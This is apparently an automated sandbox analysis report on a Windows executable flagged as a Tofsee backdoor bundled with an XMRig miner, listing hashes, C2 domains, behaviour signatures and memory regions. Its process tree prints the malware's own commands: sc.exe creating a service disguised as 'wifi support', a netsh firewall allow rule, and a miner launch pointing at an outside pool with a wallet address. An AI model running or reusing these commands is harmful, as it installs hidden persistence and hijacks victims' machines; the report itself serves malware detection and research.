Analysis

  • max time kernel
    300s
  • max time network
    312s
  • platform
    windows10-1703_x64
  • resource
    win10-20231025-en
  • resource tags

    arch:x64arch:x86image:win10-20231025-enlocale:en-usos:windows10-1703-x64system
  • submitted
    06/11/2023, 05:02

General

  • Target

    c93020e01233f2935a6fba66fa3e3ccc38b0fc50bacd0a374c1130910f821935.exe

  • Size

    251KB

  • MD5

    3289ff07ba3c5b4ea9614f862dae3bd8

  • SHA1

    30b15edf7ad3f7bc059f58436198d5619f06a53a

  • SHA256

    c93020e01233f2935a6fba66fa3e3ccc38b0fc50bacd0a374c1130910f821935

  • SHA512

    9e90abf93b6e7268a0c8993c864d9b106c00990f77c1d8011ea7325a0467332f508f04dc083c46880dea9a71a9a6fbf6c8bdcec83b310093eea0c455c66e5a82

  • SSDEEP

    3072:7RoP5wl8uJh5E7jjzFApPWASdKogJodIj+5JjAxSdhee3hUDxy/Ocat:toWlbhOTFApPmdKogJc5JMxUh7OQG

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 10 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c93020e01233f2935a6fba66fa3e3ccc38b0fc50bacd0a374c1130910f821935.exe
    "C:\Users\Admin\AppData\Local\Temp\c93020e01233f2935a6fba66fa3e3ccc38b0fc50bacd0a374c1130910f821935.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:692
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\obcakbtg\
      2⤵
        PID:4192
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\euqfasqy.exe" C:\Windows\SysWOW64\obcakbtg\
        2⤵
          PID:1808
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create obcakbtg binPath= "C:\Windows\SysWOW64\obcakbtg\euqfasqy.exe /d\"C:\Users\Admin\AppData\Local\Temp\c93020e01233f2935a6fba66fa3e3ccc38b0fc50bacd0a374c1130910f821935.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1476
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description obcakbtg "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3400
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start obcakbtg
          2⤵
          • Launches sc.exe
          PID:4056
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2916
      • C:\Windows\SysWOW64\obcakbtg\euqfasqy.exe
        C:\Windows\SysWOW64\obcakbtg\euqfasqy.exe /d"C:\Users\Admin\AppData\Local\Temp\c93020e01233f2935a6fba66fa3e3ccc38b0fc50bacd0a374c1130910f821935.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1648
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4616
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4920

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\euqfasqy.exe

              Filesize

              10.8MB

              MD5

              1bbd629601e68ab0c68ea5c7fa175793

              SHA1

              52e3d4e29a6db031b808aa5ad77eef13d705d339

              SHA256

              7a49e9d60282e4f0a2218dde658f4393850b0e337054dfce1447478902d83eb3

              SHA512

              a778ec4c27830e485ec3767d53abde6e64dbd68ad03062362e670748a2d7904381b8cf7500b0e51a5faa9f264f4a12ae2189f2c6e36973cbd6911bc848896710

            • C:\Windows\SysWOW64\obcakbtg\euqfasqy.exe

              Filesize

              10.8MB

              MD5

              1bbd629601e68ab0c68ea5c7fa175793

              SHA1

              52e3d4e29a6db031b808aa5ad77eef13d705d339

              SHA256

              7a49e9d60282e4f0a2218dde658f4393850b0e337054dfce1447478902d83eb3

              SHA512

              a778ec4c27830e485ec3767d53abde6e64dbd68ad03062362e670748a2d7904381b8cf7500b0e51a5faa9f264f4a12ae2189f2c6e36973cbd6911bc848896710

            • memory/692-2-0x0000000000920000-0x0000000000933000-memory.dmp

              Filesize

              76KB

            • memory/692-1-0x0000000000990000-0x0000000000A90000-memory.dmp

              Filesize

              1024KB

            • memory/692-4-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/692-7-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/692-8-0x0000000000920000-0x0000000000933000-memory.dmp

              Filesize

              76KB

            • memory/1648-10-0x00000000008C0000-0x00000000009C0000-memory.dmp

              Filesize

              1024KB

            • memory/1648-13-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/1648-11-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/4616-12-0x0000000000BE0000-0x0000000000BF5000-memory.dmp

              Filesize

              84KB

            • memory/4616-17-0x0000000000BE0000-0x0000000000BF5000-memory.dmp

              Filesize

              84KB

            • memory/4616-18-0x0000000000BE0000-0x0000000000BF5000-memory.dmp

              Filesize

              84KB

            • memory/4616-19-0x0000000000BE0000-0x0000000000BF5000-memory.dmp

              Filesize

              84KB

            • memory/4616-20-0x0000000000BE0000-0x0000000000BF5000-memory.dmp

              Filesize

              84KB

            • memory/4616-22-0x0000000000BE0000-0x0000000000BF5000-memory.dmp

              Filesize

              84KB

            • memory/4616-23-0x0000000004B40000-0x0000000004D4F000-memory.dmp

              Filesize

              2.1MB

            • memory/4616-26-0x0000000004B40000-0x0000000004D4F000-memory.dmp

              Filesize

              2.1MB

            • memory/4616-27-0x00000000031C0000-0x00000000031C6000-memory.dmp

              Filesize

              24KB

            • memory/4616-30-0x00000000031D0000-0x00000000031E0000-memory.dmp

              Filesize

              64KB

            • memory/4616-34-0x00000000031D0000-0x00000000031E0000-memory.dmp

              Filesize

              64KB

            • memory/4616-35-0x00000000031D0000-0x00000000031E0000-memory.dmp

              Filesize

              64KB

            • memory/4616-33-0x00000000031D0000-0x00000000031E0000-memory.dmp

              Filesize

              64KB

            • memory/4616-36-0x00000000031D0000-0x00000000031E0000-memory.dmp

              Filesize

              64KB

            • memory/4616-37-0x00000000031D0000-0x00000000031E0000-memory.dmp

              Filesize

              64KB

            • memory/4616-38-0x00000000031D0000-0x00000000031E0000-memory.dmp

              Filesize

              64KB

            • memory/4616-39-0x00000000031D0000-0x00000000031E0000-memory.dmp

              Filesize

              64KB

            • memory/4616-40-0x00000000031D0000-0x00000000031E0000-memory.dmp

              Filesize

              64KB

            • memory/4616-41-0x00000000031D0000-0x00000000031E0000-memory.dmp

              Filesize

              64KB

            • memory/4616-42-0x00000000031D0000-0x00000000031E0000-memory.dmp

              Filesize

              64KB

            • memory/4616-48-0x00000000031D0000-0x00000000031E0000-memory.dmp

              Filesize

              64KB

            • memory/4616-47-0x00000000031D0000-0x00000000031E0000-memory.dmp

              Filesize

              64KB

            • memory/4616-46-0x00000000031D0000-0x00000000031E0000-memory.dmp

              Filesize

              64KB

            • memory/4616-45-0x00000000031D0000-0x00000000031E0000-memory.dmp

              Filesize

              64KB

            • memory/4616-53-0x00000000032E0000-0x00000000032E5000-memory.dmp

              Filesize

              20KB

            • memory/4616-50-0x00000000032E0000-0x00000000032E5000-memory.dmp

              Filesize

              20KB

            • memory/4616-49-0x00000000031D0000-0x00000000031E0000-memory.dmp

              Filesize

              64KB

            • memory/4616-44-0x00000000031D0000-0x00000000031E0000-memory.dmp

              Filesize

              64KB

            • memory/4616-43-0x00000000031D0000-0x00000000031E0000-memory.dmp

              Filesize

              64KB

            • memory/4616-54-0x0000000009210000-0x000000000961B000-memory.dmp

              Filesize

              4.0MB

            • memory/4616-58-0x00000000032F0000-0x00000000032F7000-memory.dmp

              Filesize

              28KB

            • memory/4616-57-0x0000000009210000-0x000000000961B000-memory.dmp

              Filesize

              4.0MB

            • memory/4920-62-0x00000000032D0000-0x00000000033C1000-memory.dmp

              Filesize

              964KB

            • memory/4920-67-0x00000000032D0000-0x00000000033C1000-memory.dmp

              Filesize

              964KB

            • memory/4920-68-0x00000000032D0000-0x00000000033C1000-memory.dmp

              Filesize

              964KB

            • memory/4920-71-0x00000000032D0000-0x00000000033C1000-memory.dmp

              Filesize

              964KB

            • memory/4920-72-0x00000000032D0000-0x00000000033C1000-memory.dmp

              Filesize

              964KB

            • memory/4920-74-0x00000000032D0000-0x00000000033C1000-memory.dmp

              Filesize

              964KB

            • memory/4920-75-0x00000000032D0000-0x00000000033C1000-memory.dmp

              Filesize

              964KB

            • memory/4920-73-0x00000000032D0000-0x00000000033C1000-memory.dmp

              Filesize

              964KB

            • memory/4920-70-0x00000000032D0000-0x00000000033C1000-memory.dmp

              Filesize

              964KB

            • memory/4920-69-0x00000000032D0000-0x00000000033C1000-memory.dmp

              Filesize

              964KB